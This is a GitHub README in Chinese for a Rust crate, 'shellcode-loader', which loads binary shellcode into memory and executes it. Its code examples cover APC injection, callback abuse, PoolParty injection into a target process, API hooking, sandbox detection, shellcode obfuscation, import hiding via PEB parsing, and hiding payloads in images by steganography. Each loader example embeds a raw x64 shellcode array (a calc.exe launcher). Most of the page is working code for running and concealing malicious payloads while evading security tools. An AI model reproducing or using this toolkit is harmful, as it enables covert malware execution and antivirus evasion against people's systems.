Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Sign up
Appearance settings

一个shellcode加载器的封装包,用于将二进制shellcode加载到内存中执行

License

Notifications You must be signed in to change notification settings

hbesljx/shellcode-loader

Folders and files

NameName
Last commit message
Last commit date

Latest commit

History

28 Commits

Repository files navigation

shellcode-loader

一个在内存中加载二进制shellcode的rust crate

目录

功能特性

  • 提供了多种加载shellcode的方式;
  • 提供了多种对抗机制,包括沙箱检测、多种混淆机制、手动解析PEB机制;
  • crate中所有函数都是通过手动解析PEB导入的,增强了隐蔽性;

安装使用

通过cargo导入即可

cargo add shellcode-loader

加载方式:

1.加载器

输入bin文件、字节码,直接加载到内存执行

  • APC注入:向挂起的线程的APC队列中添加任务来执行shellcode
  • callback调用:调用合法的Windows函数,将它的回调函数改为我们自己的shellcode从而触发执行

示例:APC注入:

use shellcode-loader::loader::apc;
#[test]
pub fn test_1(){
 let buf: [u8; 276] = [0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,
 0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,
 0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,
 0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,
 0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,
 0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,
 0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,
 0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,
 0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,
 0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,
 0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,
 0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,
 0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,
 0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,
 0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,
 0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,
 0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,
 0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,0x00,
 0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,
 0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,
 0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,
 0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,
 0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,
 0x2e,0x65,0x78,0x65,0x00];
 let _=apc(&buf);
}

示例:callback调用:

use shellcode-loader::loader::callback::callback_enum_calendar_info_a;
#[test]
pub fn test_callback(){
 let buf: [u8; 276] = [0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,
 0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,
 0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,
 0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,
 0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,
 0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,
 0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,
 0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,
 0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,
 0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,
 0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,
 0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,
 0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,
 0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,
 0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,
 0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,
 0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,
 0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,0x00,
 0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,
 0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,
 0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,
 0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,
 0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,
 0x2e,0x65,0x78,0x65,0x00];
 let _=callback::callback_enum_calendar_info_a(&buf);
 }

2.hook系统函数

hook系统函数入口点,跳转到自定义函数执行

  • hook messageBoxA:hook messageBoxA函数,在调用messageBoxA时跳转到自定义的函数执行

示例:hook messageBoxA:

use shellcode-loader::hook::hook_message_box_a;
#[test]
 pub fn test_hook_message_box_a_hook(){
 fn hello(){
 //你自己定义的任意函数
 println!("hello hook!");
 }
 hook_message_box_a(hello);
 }

3.poolparty系统进程注入

通过poolparty技术,注入目标进程。目前支持以下poolparty技术:

  • 覆写startRoutine,注入恶意代码

示例:

use shellcode-loader::loader::poolparty::party_time_1;
#[test]
fn test_poolparty_party_time_1(){ 
 let buf: [u8; 276] = [0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,
 0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,
 0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,
 0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,
 0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,
 0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,
 0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,
 0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,
 0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,
 0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,
 0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,
 0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,
 0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,
 0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,
 0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,
 0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,
 0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,
 0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,0x00,
 0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,
 0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,
 0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,
 0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,
 0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,
 0x2e,0x65,0x78,0x65,0x00];
 
 let pid:u32=18648; //这里记得改成你要注入的进程的ID
 let _=party_time_1(&buf, pid);
 }

对抗操作:

1.沙箱检测

(1)通过CPU数量、RAM大小、进程数量、磁盘大小来判断是否为沙箱

调用示例:

use shellcode-loader::sandbox::is_sandbox;
#[test]
fn test_is_sandbox(){
 const MAX_CPU_COUNT:u32=4;
 const MAX_RAM_SIZE:u32=8;
 const MAX_PROCESS_COUNT:u32=100;
 const MAX_DISK_SIZE:u32=60;
 println!("isSandbox:{}",shellcode_loader::sandbox::is_sandbox(MAX_CPU_COUNT, MAX_RAM_SIZE, MAX_PROCESS_COUNT, MAX_DISK_SIZE));
}

(2)通过cpuid的执行时间来检测沙箱环境 调用示例:

use shellcode-loader::sandbox::is_sandbox_cpuid;
println!("isSandbox:{}",is_sandbox_cpuid());

(3)通过虚假域名探测来检测沙箱环境 调用示例:

use shellcode-loader::sandbox::is_sandbox_dns();
println!("isSandbox:{}",is_sandbox_dns()());

(4)通过检查sleep函数的真实时间来检测沙箱环境 调用示例:

use shellcode-loader::sandbox::is_sandbox_sleep();
println!("isSandbox:{}",is_sandbox_sleep()());

(5)通过获取USB设备历史来检测沙箱环境 调用示例:

use shellcode-loader::sandbox::is_sandbox_usbstor();
println!("isSandbox:{}",is_sandbox_usbstor()());

2.obf混淆

读取bin文件并混淆,运行时动态解密

包含以下两个函数:

  • obfuscate_file:混淆函数,传入bin文件路径、选择的混淆方式,支持以下混淆方式:
    • ipv4
    • ipv6
    • mac
    • uuid
    • words
  • deobfuscate_file:解混淆函数,传入混淆后的Vec数组、选择的混淆方式。

示例:obf混淆、解混淆:

use shellcode-loader::obf::{obfuscate_file,deobfuscate_data};
#[test]
pub fn test_obf(){
 // 1. 读取bin文件并混淆
 let obfuscated_data = obfuscate_file("./src/obf/test.bin", "words").unwrap();
 
 // 2. 解混淆得到字节数组
 let buf = deobfuscate_data(&obfuscated_data, "words").unwrap();
 
 // 3.可以调用其它的函数,传入返回的buf即可,Vec会自动解引用为buf数组无需手动替换
 apc(&buf);
}

3.手动解析PEB导入函数

通过手动解析IAT和PEB得到要调用的函数地址,代替易被检测的LoadLibraryA和GetProcAddress函数的同时隐藏导入表。 目前提供了以下函数:

  • get_function_address(dll_name: &str, function_name: &str) -> Result<*mut c_void>

示例:

#使用时给get_function_address()函数传入dll和函数名即可获取函数的地址
use shellcode-loader::iat::get_function_address;
#[test]
fn test_iat(){
 let dll_name="user32.dll";
 let func_name="MessageBoxA";
 unsafe {
 let func_address=get_function_address(dll_name, func_name).unwrap();
 let message_box_a_fn: unsafe extern "system" fn(isize, *const u8, *const u8, u32) -> i32 = std::mem::transmute(func_address);
 let title=b"title0円";
 let text=b"hello world!0円";
 message_box_a_fn(0,text.as_ptr(),title.as_ptr(),0);
 }
}

4.信息隐藏(图片隐写)

将生成的bin文件隐写到图片中,并提供读取图片中隐写的shellcode的函数。 (如果读取错误,是因为图片太小,图片要足够大) 目前支持以下隐写方式:

  • luma_lsb隐写:lsb隐写到图片的luma分量, 提供了以下两个函数:

    • hide_lsb(img_path:&str,bin_path:&str)
    • read_lsb(img_path:&str)->Result<Vec<u8>,String>

    示例:

    use shellcode-loader::stegano::{hide_lsb,read_lsb};
     #[test]
     fn test_lsb_hide(){
     //要嵌入信息的图片路径
     let img_path="D:/work/sample/gomekmidlodglbbmalcneegieacbdmki/virus/tools/Client/payload/img.jpg";
     
     //bin文件路径
     let bin_path="D:/work/sample/gomekmidlodglbbmalcneegieacbdmki/virus/tools/Client/payload/payload_x64.bin";
     hide_lsb(img_path, bin_path);
     }
     #[test]
     fn test_lsb_read(){
     //要提取信息的图片文件路径
     let img_path="D:/work/sample/gomekmidlodglbbmalcneegieacbdmki/virus/bypass_study/library/shellcode-loader/output.png";
     
     let res=read_lsb(img_path).unwrap();
     println!("{:?}",res);
     callback(&res);
     }
    

About

一个shellcode加载器的封装包,用于将二进制shellcode加载到内存中执行

Resources

License

Stars

Watchers

Forks

Packages

No packages published

Languages

AltStyle によって変換されたページ (->オリジナル) /